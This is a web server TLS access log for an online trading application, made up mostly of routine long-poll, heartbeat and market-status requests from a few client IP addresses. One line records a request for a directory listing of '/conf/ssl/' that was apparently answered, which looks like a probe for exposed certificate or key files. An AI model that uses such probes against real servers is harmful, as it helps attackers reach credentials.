[09/Jan/2026:13:39:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937422596 HTTP/1.1" -
[09/Jan/2026:13:39:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937425000 HTTP/1.1" -
[09/Jan/2026:13:39:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937442190 HTTP/1.1" -
[09/Jan/2026:13:39:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937433111 HTTP/1.1" -
[09/Jan/2026:13:39:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937427625 HTTP/1.1" -
[09/Jan/2026:13:39:20 +0800] 202.76.164.244 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/ssl/?C=S;O=D HTTP/1.1" 1538
[09/Jan/2026:13:39:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937430154 HTTP/1.1" -
[09/Jan/2026:13:39:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937438193 HTTP/1.1" -
[09/Jan/2026:13:39:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937448190 HTTP/1.1" -
[09/Jan/2026:13:39:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937432686 HTTP/1.1" -
[09/Jan/2026:13:39:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937435296 HTTP/1.1" -
[09/Jan/2026:13:39:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937443262 HTTP/1.1" -
[09/Jan/2026:13:39:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937454184 HTTP/1.1" -
[09/Jan/2026:13:39:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937437716 HTTP/1.1" -
[09/Jan/2026:13:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937440447 HTTP/1.1" -
[09/Jan/2026:13:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937448360 HTTP/1.1" -
[09/Jan/2026:13:39:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937442777 HTTP/1.1" -
[09/Jan/2026:13:39:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937460194 HTTP/1.1" -
[09/Jan/2026:13:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937445566 HTTP/1.1" -
[09/Jan/2026:13:39:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937453432 HTTP/1.1" -
[09/Jan/2026:13:39:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937447847 HTTP/1.1" -
[09/Jan/2026:13:39:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937466187 HTTP/1.1" -
[09/Jan/2026:13:39:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937450611 HTTP/1.1" -
[09/Jan/2026:13:39:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937458556 HTTP/1.1" -
[09/Jan/2026:13:39:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937452904 HTTP/1.1" -
[09/Jan/2026:13:39:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937455760 HTTP/1.1" -
[09/Jan/2026:13:39:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937472199 HTTP/1.1" -
[09/Jan/2026:13:39:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937463629 HTTP/1.1" -
[09/Jan/2026:13:39:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937457975 HTTP/1.1" -
[09/Jan/2026:13:39:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:39:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937460885 HTTP/1.1" -
[09/Jan/2026:13:39:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:39:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:39:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937468663 HTTP/1.1" -
[09/Jan/2026:13:39:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937478187 HTTP/1.1" -
[09/Jan/2026:13:39:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937463048 HTTP/1.1" -
[09/Jan/2026:13:39:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937466016 HTTP/1.1" -
[09/Jan/2026:13:39:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937473757 HTTP/1.1" -
[09/Jan/2026:13:39:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937484185 HTTP/1.1" -
[09/Jan/2026:13:40:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937468076 HTTP/1.1" -
[09/Jan/2026:13:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937471172 HTTP/1.1" -
[09/Jan/2026:13:40:03 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937478847 HTTP/1.1" -
[09/Jan/2026:13:40:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937490197 HTTP/1.1" -
[09/Jan/2026:13:40:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937473149 HTTP/1.1" -
[09/Jan/2026:13:40:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937476242 HTTP/1.1" -
[09/Jan/2026:13:40:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937483942 HTTP/1.1" -
[09/Jan/2026:13:40:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937478247 HTTP/1.1" -
[09/Jan/2026:13:40:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937496196 HTTP/1.1" -
[09/Jan/2026:13:40:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937481373 HTTP/1.1" -
[09/Jan/2026:13:40:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937489016 HTTP/1.1" -
[09/Jan/2026:13:40:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937483332 HTTP/1.1" -
[09/Jan/2026:13:40:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937502191 HTTP/1.1" -
[09/Jan/2026:13:40:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937486500 HTTP/1.1" -
[09/Jan/2026:13:40:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937494115 HTTP/1.1" -
[09/Jan/2026:13:40:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937488432 HTTP/1.1" -
[09/Jan/2026:13:40:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:40:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937491638 HTTP/1.1" -
[09/Jan/2026:13:40:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:40:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:40:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937508196 HTTP/1.1" -
[09/Jan/2026:13:40:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937499150 HTTP/1.1" -
[09/Jan/2026:13:40:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937493494 HTTP/1.1" -
[09/Jan/2026:13:40:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937496800 HTTP/1.1" -
